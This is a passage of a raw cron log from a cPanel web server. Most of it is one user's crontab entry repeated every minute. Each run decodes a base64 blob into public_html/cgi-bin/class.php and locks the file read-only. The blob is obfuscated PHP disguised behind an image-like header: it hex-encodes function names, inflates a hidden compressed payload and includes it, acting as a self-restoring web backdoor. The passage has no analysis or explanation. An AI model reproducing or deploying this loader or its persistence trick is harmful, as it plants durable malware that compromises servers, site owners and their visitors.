FuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:30:01 server CROND[6446]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 21:30:01 server CROND[6447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:30:01 server CROND[6448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:31:01 server CROND[6665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:32:01 server CROND[6722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:33:01 server CROND[6790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:34:01 server CROND[6874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:35:01 server CROND[6940]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 21:35:01 server CROND[6943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:35:01 server CROND[6944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:35:01 server CROND[6945]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 21:35:01 server CROND[6942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:36:01 server CROND[7168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:37:01 server CROND[7240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:38:01 server CROND[7303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:39:01 server CROND[7381]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 21:39:01 server CROND[7382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:40:01 server CROND[7458]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 21:40:01 server CROND[7459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:40:01 server CROND[7460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:40:01 server CROND[7461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:41:01 server CROND[7690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:42:01 server CROND[7754]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 21:42:01 server CROND[7755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:43:01 server CROND[7819]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:44:01 server CROND[7878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklM